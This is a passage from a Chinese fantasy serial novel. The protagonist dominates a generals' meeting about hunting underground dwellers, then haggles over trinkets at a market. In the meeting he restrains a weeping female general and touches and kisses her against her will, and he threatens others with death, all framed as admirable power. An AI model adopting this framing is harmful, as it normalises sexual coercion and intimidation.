不出天开语所料,一太早他来到“锦繁宫”见到莲娜,她便汇报了有关提雷布里大将的指示:要求天开语到办公室後第一时间便到他那里报到。
“总训长,听说昨晚逃走了两名人犯?”莲娜一面替天开语检查衣著,一面轻声问道。
“嗯。”天开语点点头。
“总训长,莲娜听说主席团对这件事情很不满意呢……”莲娜继续道。
“没什么,是梵衣色将军的失误。哦对了,莲娜你这两天替我安排一个时间,我想请客。”天开语吩咐道。
“请客?”莲娜脑中立刻浮现出那次盛大的宴会,忍不住道:“还跟上回一样吗?”
天开语笑著摇头道:“不,不跟上回一样。这一次规模要小型化。还有,替我找一下,在熠京有哪里的住所比较好的,我要买几套。”
“您……好的,莲娜记住了。”莲娜本想问,张了张嘴,还是没问出来。
“这只是为了交际方便,没有其他的意思。”天开语笑著捏捏莲娜脸蛋道。
“是……莲娜错了……”莲娜知道自己的疑问被天开语看出,忙低头脸红道。
“没什么,既然你是我的贴身之人,这些事情没有什么不可以知道的。”天开语大度地拍拍她,又俯首吻她一下道。
“是,莲娜知道了。”莲娜乖巧地回吻了天开语,道:“总训长需要冲扬吗?”
天开语一拍脑袋,笑道:“对了,差点忘了,我的冲扬昨夜停在‘五木山’了!”
莲娜抿嘴一笑,道:“哪里啊,今天一大早,就被提雷布里将军派人送回来了。”
天开语喜道:“真的?那就不用步行了。”
莲娜娇睨他一眼,道:“总训长还用步行吗?只怕冲扬都会束缚您的飞行呢!”
天开语摇头笑道:“其实现在我更喜欢步行,只是担心提雷布里将军著急,所以才需要冲扬的。至於飞嘛,还是尽量少来吧!”说著看看镜像投影中自己的样子,道:“好了,我该走了。”
莲娜忙道:“那……欲奴送您……”她终忍不住心中的冲动,低低说出了私密的心里话。
“不用了,小乖乖就在这里等我回来吧!”天开语丝毫不以为忤,亲切地拥抱女司秘一下,然後才转向大步离去。
“天将军您来啦!”一见天开语进入会议室,提雷布里大将忙主动起身相迎,会议室内原本已经落座的几位将军也纷纷起身颔首致意。
“对不起,我来迟了。”天开语一脸的歉意,诚恳地向诸人点头招呼。
“来来,天将军请这里坐。”提雷布里大将身边的诺本查将军向天开语示意自己身边的座位道。
“怎么?有重要的事情在讨论吗?”天开语坐下後,明知故问道。
“当然,还不是为了昨夜的事情。”“五木山”的最高长官青胡将军在旁说道。
天开语立刻起身:“对不起,请恕我不能参加这个会议了!”说著他作势要离开。
“天将军请留步!”提雷布里大将忙拦住天开语。“天将军这是为什么?昨夜的行动,将军也参与的呀?”他面色难堪道。
“是呀是呀,如果昨夜不是天将军,只怕‘五木山’的大门还不容易打开呢!”
在座的将军纷纷起身挽留道。
“说实话,我实在是不想再与梵衣色将军发生什么纠葛--大家也看到了,我的出现,令梵衣色将军很不高兴啊!”天开语一脸的委屈,仍执意要走。
“可是事情已经发生了,天将军总不能一味回避吧?再说了,天将军可知道,这次会议,乃是风君专门吩咐,要你参加的。”提雷布里大将拉住天开语道。
“什么?是风君要我参加的?”天开语故作吃惊的样子,然後露出满脸的犹豫。
“不错,是风君提议的。天将军这回不能离开了吧?”诺本查将军微松一口气道。
天开语深望他一眼,脸上现出局促不安的神情,道:“那……那好吧……”语气甚为勉强。
重新落座後,提雷布里大将简略向天开语通报了一下刚才众将军的会议情况,然後道:“现在由於那个神秘人物的出现,已经将主席团的注意力转移,请看--”
说著他在面前揿下一个按钮,会议桌的上方立刻现出一个全息人像来,赫然便是天开语的前世、旅文道的面貌!
“这是梵衣色在昨夜暴风雨中电闪的瞬间记下的嫌犯影像还原,根据多方的扫瞄分析,证实这并不是哪个人改变容貌後的样子,而是确有其人!”提雷布里大将目光扫视一圈,声音凝重道。
这时诺本查将军道:“那不是很简单了吗?只消在中央资料库里查一下即可。”
天开语眼中透著笑意道:“是啊,应该很方便的。”
提雷布里大将摇摇头,道:“事情没有那么简单。早在昨夜事发後一个钟头,主席团便召本将军回熠京,会同特坎纳和李唐杰二位大将一道,关在中央核心资料库里搜寻这张脸,可是却一无所获。”
“难道会是暗住民?”青胡将军脱口道。众人立刻将目光一齐转向他。
“不错,这是我们仅剩的怀疑了。”提雷布里大将点头道。
“难道不会有其他?比方说一些边远地区的人?”天开语质疑道。
会议室内立刻响起一阵轻笑,显然是在笑话天开语的见识浅薄。
“天将军说得不无道理。”提雷布里大将也微微笑了一下,但却未像众人那般露出明显的轻蔑。“不过关於东熠大陆少数族群的情况,早在二百多年前,就已经完成了所有的普查,并且建立了完善的纪牌追踪档案,所以基本上这个可能性不会存在。”他耐心地向天开语解释道。
天开语一脸的恍然大悟:“哦……原来是这样……那这么说来,就只有怀疑暗住民一途了。”
“正是。”提雷布里大将点点头。“所以说,这项工作的难度可就要加大了。”
他说到这里,眉头微微皱起,道:“直至日前,我们也不清楚,究竟有多少暗住民存在,以及他们的住处已经深入地下有多少。”
“将军说得有理,职下曾经尝试过追踪一拨暗住民,但深入地下约莫八百公尺左右後,仍然追丢了他们--唉!旧元世界留下的地下窟窿实在太多太深,而且地磁地热形势复杂,我们的设备根本无法正确捕捉影像……”青胡将军苦笑道。
“是啊,多年来我们警宪部的一项重点工作便是追查暗住民,还专门成立了一个部门,但却成效甚微。”诺本查将军双手交叉紧握道。
--算了吧,还是有效果的,起码凌远尘等整天都东躲西藏的不得安宁……
天开语心中暗想著,随口道:“那么这项工作不就无法开展了吗?”
一句话登时说得众人哑口无言。
“咳……天将军说的确有道理,这个……这个是比较困难,但总还得做。”乾咳了一声,提雷布里大将打破众人沉默,道:“而且据我们了解,这地下的暗住民中,也的确隐藏有不少的高手,有些人的修为甚至不比我们低……”
“这也是为什么我们总也无法将他们剿除乾净的重要原因之一。”诺本查将军点头附和道。
“既然如此,不如就跟他们和平共处,岂不也很好吗?”天开语耸耸肩,不以为然道。
会议室登时静了下来。
天开语转头见众人皆目露惊惧之色盯著自己,虽知道自己这句话犯了何等严重的错误,但却仍摆出一脸的迷惑,道:“怎么了?大家为什么不说话?难道我说的不对吗?”
“咳……”提雷布里大将再次乾咳一声,压低了声音道:“天将军……您以後千万不可再说这种话了……”
天开语剑眉一扬,道:“为什么不可以?”他心中自是对一切再清楚不过,但仍要看看这些将军的反应。
“当然,因为这些暗住民都是东熠法令的违抗者,要嘛就是被东熠人民遗弃的败类!”青胡将军沉声严肃道。
“而且,自从暗住民躲在地下後,整个大地以下的矿藏资源,都被他们破坏、占有,导致我们不得不花极大的代价开发外太空。多少代以来,远征外太空的先驱不知牺牲了多少……”一名与会女将军开口道。天开语认识,这风情绰约、眼神坚定的女将军叫芳琳·泰勒,是分管地勤重甲军部的首脑。资料显示,她有三位丈夫共同生活,显然是名铁娘子类的优秀女性。
“依职下看,不如趁这次机会,索性对地下暗住民发动一次大清洗式的攻击!
要嘛让他们彻底消失,要嘛令其从此以後再也不敌对地面社会搞小动作!“又一名将军情绪激动地开口道。天开语记得,这体形神态骠悍的家伙名叫托尔金,乃出身军武世家,算得上是名望族。
“就是,乾脆进行一次大的行动!”众人纷纷附和托尔金的提议,振臂叫道。
天开语皱起了眉头,目光转向提雷布里大将。
“这……恐怕行不通。”提雷布里大将摇摇头,道:“这种行动我们从前也进行过,记得那时本将军还只是名普通的飞警,行动是由四大院尊之一的‘磐磨枭’--‘枭魔’大人带领的,结果历经八十年,本将军也因此役累功破格提升到将军一职,却仍然未能扫平暗住民的地下体系……”
天开语眼中闪过一丝浅浅的欣然,点头道:“既然连院尊也无法将暗住民扫荡乾净,那么这个方案显然不切实际,我看我们还是另寻他法吧!”
诺本查将军也颔首同意:“嗯,你们不要乱讲。姗果这样行得通的话,风君就不会让我们在这里开会--直接下命令不就可以了吗?”
众人立刻噤声。毕竟在这问会议室里,除了提雷布里大将,职阶第二的便是诺本查将军了。既然二人都否定这个提议,那这提议便不可能得到通过。
“天将军,您看有什么好的办法呢?”扫视众人一圈,提雷布里大将目光最终还是落到了天开语的身上。
“我?我能有什么好的办法?呵呵,大家别这样看著我,天开语只不过在武道方面有些天赋,但其他地方可就浅薄得紧了,哪里比得上诸位前辈的识见呢?笑话了,笑话了!”天开语忙摆双手推托--他哪里不知道,这些老奸巨滑的家伙是在将问题转移呢?
“天将军可千万不要这样说,连风君都对您提出的假面聚会称赞有加,说您的思维活跃变化多端呢!”提雷布里大将连忙又抬出风流扬这老头子来。
“是啊是啊,风君是很看重天将军的!”诺本查将军因为梵衣色一事,早已经弄怕了,此时能够不将事情揽到自己身上,自是最为理想,因此立刻回应提雷布里大将的口风。
这二人如此一说,与会诸人哪里还不明白应该如何做?当下立时纷纷恭维起天开语来,力劝他提出解决办法。
不过有一人却不这样看:“天将军说的也有道理,虽然假面聚会的确新颖,但那只不过是娱乐而已,这缉捕人犯的重大事件,大家还是慎重为好。”提出异议的,正是那芳琳·泰勒将军。
提雷布里大将立刻脸现不悦,双目凌厉地瞪了芳琳·泰勒将军一眼,道:“难道芳琳将军没有听说过见微知著吗?”
被提雷布里大将充满杀气的目光一瞪,芳琳·泰勒将军登时浑身一震,本能地;紧张起来。要知道,在熠京,每一阶的军职,都对应著绝对无法抗衡的军武战力差别!她虽然统领地勤重甲军部,但是职阶上却仅仅与青胡将军持平,略高出会议室内最年轻的天开语一个职阶而已。
纵使身为熠京高层为数不多的强硬派女性将领,芳琳·泰勒将军在提雷布里大将的高压下,仍不得不低头,以沉默表示服从。
“好了,既然众望所归,那么就请天将军说出一个办法来吧!”从芳琳·泰勒将军身上栘回目光,提雷布里大将立刻恢复了和颜悦色,继续恳求天开语。
天开语此时更加确定,自己在这场局里,是一枚替罪的棋子了!只不知这个替罪的局位,究竟是否由老头子有意指定呢?他可得好好思量一番了……
“这个嘛,还容我想一想……”天开语故作推辞不过的样子,露出受宠若惊的神情,拧眉“苦思”起来。
见他如此,提雷布里大将与诺本查将军交换了一个眼色,四目同时掠过讥嘲和得意。
二人以多年在熠京高层打滚的经验,深悉眼前的熠京政坛,正在发生著一场变动,而发起这场变动的双方,却是主席团和四大院尊。虽然四大院尊拥有无法抵抗的强大力量,但是没有了主席团的行政管理,整个东熠的生活仍会乱成一团槽。
他们可不想卷进这场权力的争斗中,尤其是引发这场争斗的《菩提大典》事件。但是长期以来,他们都已经与风君结成了一个整体,正所谓“一荣俱荣,一损俱损”,实在不太符合中庸无累的处世法则,因此这场争斗一开始,他们便不得不硬著头皮顶上。
现在可好,正好有天开语这个不经世事的年轻傻瓜一头栽了进来,还愣头愣脑地钻到了这场争斗的漩涡中心!而且这小子还深得风君宠爱,这样一来,他们便正好得到解脱。把麻烦丢给这小子去执行,如果以後有什么问题,便大可全部推到天开语的身上,自己则可以向主席团有所交待:而万一这小子误打正著,取得了成功,那么就更理想了,因为风君会因他的成功,而更加信任他们这班老人……
以眼色示意诸人保持安静,提雷布里大将的脸上现出悠闲轻松,似乎把问题交给天开语,便已经解决了一半。
见他--此神情,众人皆是多年成精的政客,哪里还不明白其心意?当下心中暗骂老家伙狡猾的同时,也不得不向他投以敬佩的目光。
倒是芳琳·泰勒将军,脸上没有一点表情,似乎并不理解提雷布里大将的安排。
安静良久,天开语终於轻吁一口气,众人立刻精神集中起来。
“我在想,如果遇到这样的问题,提雷布里将军会怎样解决。”天开语忽没头没脑地开口道。
“什么问题?”提雷布里大将怔了一怔,困惑问道。天开语没有直接说出自己的办法,却要问他一个问题,这令他感觉有些突然和不自在。
“是这样的,”天开语坐正了身体,道:“现在有两个商业集团,一大一小。
虽然那个大的实力很强,但是小的却也很有特点,并不会被大的一口吞掉,将军您说大的集团应该怎么做呢?“天开语一开口,便是”霸“的商业理念。
“这个嘛……”提雷布里大将迟疑片刻,看了天开语一眼,缓缓道:“天将军说的是商业竞争方面的故事吗?”他已经有点明白天开语想表达的意思了。
“不错。其实这世上有很多事情和问题,从道理上来说,其解决的办法都是相通,或者值得借鉴的。”天开语神情恰然地说道。
“唔……如果一味互拼的话,双方都会有损伤,说不定还会让第三者得利……”
青胡将军沉吟道。
“是啊,如果照先前托尔金将军的提议进行,说不定我们同暗住民争斗的结果是两败俱伤,最终被西星趁虚而入!”芳琳·泰勒将军进一步沉思道。
“或许当年‘枭魔’大人也是顾虑到这点,才没有继续征讨暗住民吧!”又一名将军点头道。
“所以说,一味的竞争,并不是一件好事。大家记得当年的‘霸’是怎样扩大他的商业帝国吗?”天开语眸中射出骄傲和自信的神采,更深一步提点众人。
“这……商业上的事情,我们倒不是很清楚……”诺本查将军老老实实地说道。
看到提雷布里大将也摇摇头,天开语才不紧不慢道:“就是因为他采取的是‘合纵’之法。”
“‘合纵’之法?”诸人一齐讶道。
“是的,是‘合纵’之法。”天开语点点头道。“其实这方法说起来很简单,也就是……嘿,这话说起来就长了,还是请各位将军自己回去查找相关的资料吧!”他有意卖了道关子,因为他知道,自己临时杜撰的这所谓“合纵”之法,无非就是:联合收买多数人,去打击少数人:然後再重新联合收买一批人,去打击自己新的目标--说穿了就是“弈人”之术。在当年,这种“弈人”之术的最终结果,便是人人自保,相互猜疑,最後只能将“金粉世家”的权力集中一处,那就是“霸”……
“想不到天将军居然对商业也有颇深的了解,真是令我们这些老家伙汗颜呐!”
提雷布里大将感叹一声,再次将问题直接提出:“既然这样,想必天将军已经有办法?”
见众人目不转睛地看著自己,天开语展颜一笑,道:“办法谈不上,只能说说自己的想法。”
“那好,请天将军快说!”不知不觉间,提雷布里大将被天开语有张有弛的谈话技巧给吸引住,忍不住催促他道。
“其实很简单,就是跟他们谈判。”天开语乾乾脆脆地说出了自己的答案。
“谈判……怎么谈判?我们早就在暗地里进行过这方面的尝试,但这几乎是不可能的事情!”诺本查将军立刻大摇其头道。
“为什么不可能?”天开语不解道。
诺本查将军看了众人一眼,才低声道:“说实话,在这里的都不是外人,这个计画大家也都知道一些:早在六十年前,我们就曾经试图找到暗住民的首领,以便同他们沟通,实现大家的……嘿嘿,和平相处,但是……”他摇了摇头,没有说下去。
“但是什么?”天开语皱眉道。
“但是我们根本就找不到他们的首领。”芳琳·泰勒将军开口替诺本查将军说完他的话。
“找不到?”天开语挑子挑眉梢。
“不错,找不到。因为这地下暗住民的世界,根本就是一盘散沙。即便我们找到了某一个群体的首脑,却仍然无法控制全部暗住民。”青胡将军苦笑道。
天开语心一动,道:“这么说来,青胡将军手中已经捉有暗住民的首脑了?”
青胡将军一怔,本能地看了提雷布里大将一眼。
提雷布里大将乾咳一声,眼神闪烁地回避著天开语询问的眼光,道:“也谈不上什么首脑吧……因为她并起不了什么作用……”
天开语心中立时生出强烈的感应!直觉告诉他,提雷布里大将口里所说的“她”,自己一定见过!
“既然是这样,那看来谈判一途的确不可行了。”他随口一语带过,但心中却已经留下了印象。
“所以,还请天将军说出其他的办法来。”提雷布里大将忙接著恳求道。
“办法当然有。”天开语淡淡看他一眼,道:“不过我想同老头子单独谈。”
提雷布里大将登时脸色大变!
他立刻知道,天开语这个看似无知浅薄的年轻人,已经看穿了自己想要利用他的把戏!
既然天开语要同风君谈,便摆明了他不想让自己参与此事,也从另一方面,告知了风君自己这个大将的不可靠!
“天将军这……这是为什么呢?这次的会议,是风君命令举行的,目的就是为了解决问题。可现在将军却要单独与风君谈,这……”不愧是老於世故,提雷布里大将马上一脸的迷惑和遗憾,反问了天开语一句。
可惜天开语更是人情世故方面修炼成精的转世怪胎,早已经不将提雷布里大将的表演放在心上:“那可不行。”他好整以暇地看看提雷布里大将,又扫视一遍在座诸人,道:“兹事重大,我可不想把诸位牵扯进来。说实话,我也知道,诸位现在身处两难境地:一方面,在军武力量面临著老头子的压力;另一方面,在行政上又受到主席团的辖制,所以行事很不方便。不过我就不一样了。反正我蓦熠京任职,本来就是因为冰后的引荐,已经同院尊脱离不了关系:而老头子对我也是另眼相看,所以我是不可能同主席团站在同一条线上的了……”
他这一番近乎流氓无赖的话,顿时将在座众人一齐惊呆!
面面相觑下,包括提雷布里大将在内,没有一个人可以找出合适的语言来驳斥他的言论,尽管每个人都被他这番话说得心里很不是滋味。
“所以说,这件事情,我想还是直接同老头子谈谈比较好,这样也不伤大家的和气。”停了一下,他又想起什么道:“哦对了,一旦我参与这件事情,那么诸位最好不要设置什么障碍,因为……”他扫视众人一遍,才一字一句道:“如果这样的话,我会见人杀人,遇神杀神!”说毕,他身子往後一靠,一付若无其事表情道:“好了,我的意见就是这些,请大家继续谈吧!”
会议室里再次出现静默。
良久,提雷布里大将见众人都低头不语,知道自己若再不发话,恐怕今後的威信便会大受影响,便讪讪开口道:“天将军说的话可说见外了。要知道,我们在座诸位,都是受到风君提携而坐到目前的位置,真的有事,哪里会两头倒呢?当然是要紧紧围绕在风君周围的。你们说是吗?”他抬头问众人道。
“是啊是啊,怎么会背叛风君呢?”
“嗨,天将军说话太见外了……”
“一向以来,我们都以风君为目标的,哪里敢背叛他老人家呢?”
“哈哈,天将军一定是同我们开玩笑的啦!”
“是啊……”
一时之间,众人纷纷表态附和提雷布里大将。
只有芳琳·泰勒将军,在众人话音渐渐落下的时候,才开口冷声道:“天将军果然嚣张,年纪轻轻,便如此懂得仗势!”
此言一出,又是举座皆惊。
天开语懒懒坐起,斜睨芳琳·泰勒将军,撇嘴道:“想不到芳琳将军居然会这样看开语,我真是委屈得紧了。”说著一阵风怱起,众人尚未回过神时,他已经紧挨著芳琳·泰勒将军旁边座位坐下了--居然没有一个人看出他是如何动作的。
“你……你想怎么样?”饶是素来强势的女将军,也被天开语这出其不意的一手弄得花容失色,禁不住失声惊呼。
“嘻,我看芳琳将军很美呢,所以想同将军靠近一些,难道不可以吗?”天开语涎著脸凑近芳琳·泰勒将军道。
“不不,当然不可以……”芳琳·泰勒将军手忙脚乱地直往後退缩,一面不迭声地叫道。
“为什么呢?难道芳琳将军还怕我侵犯芳体不成?嘿嘿,放心,天开语不是那样的人。”天开语倏地退後,与芳琳·泰勒将军拉开一臂距离,仍嬉皮笑脸道。
“你你……你怎么可以这样?”隔开一段距离,芳琳·泰勒将军有了一丝安全感後,才回神质问道。
“我怎么了?只不过是坐在将军的身边而已,难道这也犯错吗?”天开语目光陡然进出凛列杀气,扫视桌边一圈,直看得众人寒毛皆竖,只知连连摇头,却说不出话来。
“看,大家都不认为这有什么了不起的,为何芳琳将军会很在意呢?是否因为将军是女性呢?”天开语步步进这道。
“天将军……啊--”那对面的托尔金将军刚刚开口,便突觉一股无形大力劈面而来,猝不及防下,他整个人竟被生生击到後面墙壁,发出重重“砰!”的一声,然後便紧紧贴在墙上,再也无法挣脱下来!
“哗啦--”与会诸人登时紧张起来,立刻本能地起身离开座位後退,警戒地看著天开语,摆出了防卫的姿势。
“大家这是做什么?”天开语懒洋洋地转过身来,眸中闪著寒光,语气飘怱道:“你们都疯了吗?居然想在武道上跟我抗衡?”
提雷布里大将登时醒觉,立即收起守势,回到了自己的座位上,道:“哪里,天将军乃是与离字凄大老齐名的‘幻圣’,我们哪里敢在这方面与天将军相比呢?”
一面说,一面对周围手下连使眼色。众人这才忐忑不安地慢慢坐回去,但天开语仍然感觉得到他们守护的气机重重封锁。
“其实呢,你们应该很清楚,主席团为什么能够成立,而最初的主席团成立时又表示过什么。”天开语语气散漫地说著,已经伸出一手,摸向了芳琳·泰勒将军的圆俏下颔--此时她早已被天开语释放的真元之力束缚得动弹不得,只能眼睁睁地看著他轻薄自己,那眼泪却不争气地落了下来……
“最初……”提雷布真大将嘴里喃喃念叨,眼睛突一亮,失声道:“最初的主席团,曾经誓言效忠四大院尊!”
(第五集完)
【第六集】
第一章小器街集
提雷布里大将此言一出,在座众人立刻清醒了过来。
的确,在东熠大陆日趋稳定,而且由于四大院尊的存在,导致东熠得以与西星达到军武力量的平衡以后,由四大院尊支持成立的熠京中央主席团,便做出了“主席团效忠天武院尊,永不背叛”的誓言,而这一誓言,是已经写入根本法典的!
所有的问题立刻冰雪消融。
“不错,主席团的首要价值取向,便是效忠天武院尊,其次才是管理东熠大陆。”诺本查将军也连连点头道。
“既然这样,我们效忠风君,便是理所应当的事情!”青胡将军也点头道。
“虽然法典中同样规定下,四大院尊不得千预正常的主席团事务,但如果事情严重到四大院尊认为不得不出面的时候,又应当怎样呢?”天开语继续不紧不慢地说道,一面轻轻抚摸着芳琳。泰勒将军的滑嫩脸颊--虽然她也将近百岁,但仍然显得丰韵迷人。
“当然是以四大院尊为首!”提雷布里大将立刻叫道。
“是啊,我们一定要效忠四大院尊!”一旦重新确认了方向,众人立时群情激动,齐声高呼起来。
“现在,芳琳将军可明白了,为何我会这样嚣张?实在是因为只有我,才是唯一清楚应该做什么、怎样做的人。”天开语说着凑到芳琳。泰勒将军的脸上,在她颤抖冰凉的唇上轻轻吻了一下,然后如同鬼魅一般,回到了原先的座位上。
失却束缚,芳琳。泰勒将军立时瘫倒在坐椅中,却没有一个人敢向她投以关切的一眼。
“嘿,依我看,眼下的当务之急,倒不是那个被追缉的家伙,而是整个东熠大陆的意识形态出现了问题。”回到座位后,天开语冷冷地扫视众人一眼,语气严厉说道。
“天将军您的意思是……”提雷布里大将已经被天开语弄得神经紧张至极,再不敢随便开口。
“其实这件事情为何会演变到眼下这种地步,分明就是因为有某些人意图推翻四大院尊的领袖地位,所以才导致熠京的军武力量出现裂痕!”天开语一言惊天,明确地指出了隐藏在提雷布里大将等人心中担心的秘密。
“这……天将军,现在还没有明确的证据……”提雷布里大将已是满头大汗了--这个天开语,说话实在是没有遮拦,他这样说,不是摆明让舆会的所有人都没有退路吗?
“嘿嘿,证据?证据我自会去向老头子呈示。”天开语冷笑道。
“这……这又何必呢?”现在连诺本查将军也不敢再开口了,只有提雷布里大将还能说上一些话--天开语一再相这,又以强大的武力和四大院尊做后盾,令诸人根本兴不起反抗的意念。
天开语哂然一笑,道:“这件事依我这个微不足道的小人物来看,恐怕我们每个人都不好插手,最理想的,还是看老头子的意思吧!他一定会对发生的这一切敞出英明判断的。”他再次将风流扬抬了出来。
“这这……唉!好吧,天将军您现在想怎么做,尽管说吧,我们听您的便是。”
提雷布里大将终于全面让步。他怎么也弄不明白,自己为什么稀里糊涂地便被一个初入熠京的毛头小子给算计了进去。
“首先,我们要确定好与暗住民谈判的主旨--希望不会再有哪位将军提出反对意见。具体操作方式,我以后自会奉上详细计画。其次,我们必须借助这件事情,重新让东熠的人民知道,究竟谁才是他们的领导者、是他们的领袖!”天开语掷地有声地提出两点意见。
“……好吧,就依天将军的意思去办……”提雷布里大将擦了擦满头汗水,道:“今天的会议就先到这里,希望大家回去后,都考虑一下怎样分工细化……”
众人连忙喏声连连。
天开语又道:“还有,今天的会议内容,希望仅限于会议中人,如果有所泄露,那么……”他冷哼一声,目光转向仍然被强大力场紧紧压贴在墙壁上动弹不得,眼露惊恐哀求之色的托尔金将军。
“天将军,不要……”立时有人情不自禁地惊叫出声!每个人心中同时生出一个念头--完了,托尔金完了……
冷笑一声,天开语道:“当然,不会有人泄露的,是吗?”他日光重新转回众人。
“当然,当然不会!”
“我们保证,绝不会有外人知道……”
“天将军尽管放心……”
天开语点点头,脸上恢复了平和--平和得似乎从来就不曾发生过什么事一样。“对不起,我还有事,要先走一步了,大家继续吧!”言犹在耳,人却已经消失在会议室中。
一直悬贴在墙壁上的托尔金将军这才“哗啦”一下,从上面掉下来,重重摔在地上。但此时的他,却像被抽掉了脊梁骨似地,软软地瘫倒在地上,再也无法爬起来。众人同情地看到,他的下身已经湿了一片,阵阵浓烈的尿骚气味迅速弥漫在整个会议室中……
离开“北斗台”,天开语缓步行走在大街的人群中。
在他的心中,一个大胆的计画正在形成。
现在他的资本越来越雄厚,正可以把游戏玩得更大一些。
他的游戏已经不必再局限于“金粉世家”,而是要参与东熠的全局--哦不,或许将来还包括西星……
定进街边一幢商厦,他购买了一身新装,然后换下了身上的军服并寄存好,再次回到街上时,已经成了一个举止悠闲洒脱的年轻浪子。
在他的内心,极端的尊贵,正与最终的平凡交织在一起。虚虚实实,真真假假,令他内心感到十分的充实而安详。
现在,褪下一切荣耀的光环,他变成了一个普通的民众。
经过几个街市后,他来到了熠京最热闹的“小器街集”。
这个“小器街集”,早在“霸”的时代,就已经十分的繁盛。“小器街集”主要以小商小贩、小物小件、小吃小戏为王,早已经成为外地游客来到熠京时必游的一个景点。
不多时,天开语便没入了熙熙攘攘的人群中。
“这位先生,请看看吧,这把指套做工很好,而且握在手中,感觉也十分的舒适,价钱也公道……”身边一位中年男子大声向天开语吆喝着自己的东西。
“是吗?是什么成分?”天开语驻步停下,接过男子递过来的指套,拿到眼前仔细察看--虽然以他的目力根本不需要这么做,但这种动作却令他很享受,因为这种动作很生活化,“唔……看起来的确不错。”将五指插人指套,天开语张握几下,点头道。
“当然了,这是记忆合金制就的,戴在手上,不但能够增强攻击力,而且时间长了,也没有任何不适之处呢!”男子极尽赞美之辞,夸赞自己的货色。
“是吗?”天开语却摇了摇头,将指套放下了。
“怎么?先生不喜欢吗?那要不要看看别的?这里还有更好的!”男子忙翻弄着自己的摊子,在里面又抓出一把指套来向天开语推荐,“都是记忆合金的吗?”
天开语随手拎起束成一串的指套问道。
“当然,这年头不是记忆合金的根本就没有人买呢!先生您尽管放心,我这里的货色,记忆合金的含量都十分高,不像其他人的,抓在手里咯手,很不舒眼的。”男子唾沫四溅精神百倍地嚷道。
“可是……”天开语沉吟一下,随手将手中的指套扔回摊位,摇头道:“那是一帮根本就不懂得武技的家伙的看法。”
“什么?不懂武技?”男子一怔,显然被天开语的怪论给唬住了。
“当然,他们不懂武技。”天开语再次确认道。
“为……为什么?”男子一脸迷惑道。
“你想既然一名武者需要借助外物来提高自己的击打力量,那么就必然要时刻感觉到自己所用外物的存在,只有这样,才会增加他的信心。如果他都感觉不到了,必然会心里空虚。试问内心空虚的武者,他可能获得胜利吗?”天开语胡书乱语道。他只是同眼前的小贩胡搅蛮缠,以获得曾经的市井之乐而已。
“你……”那男子居然被天开语说得一愣一愣的,看看天开语,又看看自己手中抓的一把簇新指套,堵得一句话也接不上来。
“嘻,所以嘛,你的这些指套又怎么会合我的心意呢?”天开语冲男子做了个怪脸,道:“以后有不掺记忆合金的指套,我再来买吧!”
“你……好吧……”男子只好眼睁睁地看着天开语一摇一摆地离开。
“先生,请买个指花吧,您的心上人一定会喜欢的!”没走几步,又一个清脆的声音将天开语拉住。
天开语转身看时,正好与一俏丽可人的少女目光相遇。
“指花?”天开语看到少女摊位旁正围着一群少男少女,你一言我一语地挑选着摊中的饰品。
“是啊,先生看看嘛,很漂亮的,您看这做工,有多么精致!”少女立刻递上一枚细长的指花,见天开语接过后,又开始招呼起路过的其他游客。
天开语手中的这枚指花通体银白,却在指形中线部位浅浅地飞扬起几缕细长花瓣,显得极是清雅别致,令他一下便喜欢上了这精美的小件。
--若是佩在雅儿纤长的指上,一定十分的美丽……
天开语心中情不自禁地想到了雪漫雅:心中流过一丝甜蜜。
自从悟出“透形幻影”后,他再想到雪漫雅时,已经没有了初时的心焦,反而多了几许期待的温馨--这或许就是平凡人的思念吧。
他试着将指花的箍环套人中指,看看效果,立刻引来旁边几声窃笑:“看呐!
他也戴……”
“嘻,男人佩戴,好奇怪的……”
天开语立刻一阵脸热,忙将指花除下,讪讪对那少女道:“可不可以替我……呃……包一下?我买了。”说着他摸出了自己的纪牌。
这时身边一个年轻男子轻拉他一下,小声道:“喂,这位老兄,你也不还还价,就这样买了?”
天开语一怔,立刻又引起周围少男少女的嬉笑:“看呐,这人真有意思,看上去傻乎乎的……”
天开语愈发脸热,似乎颈间也沁出了汗水。
“对……对,多少红熠元?”他居然有些结巴了--看来自己还是比较适合当高高在上的人物……他忍不住想道。
“二十红熠元。”少女似乎也觉得眼前这个客人很有趣,忍不住纤指掩嘴笑道。
“那……能……能不能便宜点?”天开语生生以念力将脊背上的汗逼退,嘴里一面说着:心中一面暗叫:原来当普通人这么麻烦,平时老子哪里会出汗呢?
什么是汗老子恐怕都不记得了……
“那哪儿能成呢?就这二十红熠元,就已经是保本卖了!”少女立刻皱了一张脸,苦兮兮道。
“可是……”天开语看看少女的表情:心中竞有些发虚。再看看周围那群少男少女目不转睛地看着自己,终忍不住咬了咬牙,道:“不行,一定要便宜!”
那声音倒是颇为坚定。
“对,一定要便宜!”周围的少男少女立刻回应似的齐声叫道;倒把过路的游客给吓了一跳。
见获得支持,天开语立觉有了底气,用更加坚定的语气道:一如果不便宜,我就走了!”
“好了好了,就便宜卖吧,那先生您说多少呢?”少女一脸苦相道。
“这……”天开语再次反覆看看手中指花的精巧做功,想像它戴在雅儿手上的柔美,又咬咬牙,一跺脚,道:“十九红熠元!多一分不买!”说完他见周围那群大孩子纷纷瞪大了眼睛:心中不禁暗暗得意:看,这个价格还得可以吧……
“好吧,就收你十九红熠元,看先生你诚心诚意要买……算了今天就亏本这一笔吧!”少女一脸的痛苦,水灵灵的大眼睛中更是充满了委屈,似乎便宜了一红熠元,她就要失去一顿饭似的。
“好好,十九红熠元,十九红熠元。”天开语忙不迭地伸向面前的验牌器,然后按上手掌完成交易。
周围的少男少女又是一片哗然,显然没有料到居然这笔买卖真的成交。
“先生,这里还有更漂亮的呢,要不要再看看?”少女见今天奸不容易逮到了一个傻瓜,哪里还不卖力吆喝?立刻拨拉起眼前摊位一堆堆的指花,向天开语游说:“看,这个也很漂亮呢!而且先生这么英俊的人才:心上人也一定很美丽,不如多买一些,可以让她时时更换,好不好呢?”
“是呀是呀,先生是要多买一些呢!”旁边一干少男少女也纷纷起哄,怂恿身边这百年难见的傻瓜继续冒傻气。
“哦哦,好的好的。”天开语果然上当:心中暗想这些人说的的确有道理,不说雅儿要替换,就连雪儿她们,也应当给她们买一些呀。再说了,自己难得出来买一回东西,总得分个平均吧?当下“豪气”大发,一伸手,道:“好吧,再买……”
他想了想,计算一下有多少只手指需要佩戴,然后大口一张,道:“再来一百只吧!”
周围登时鸦雀无声。
天开语看到,那些原本叽叽喳喳地说个不停的少男少女,一个个面面相觑,眼中流露出不可思议的神情,不禁暗自得意:嘿!定是这些人没见过这么大的手笔,所以都傻了眼了。
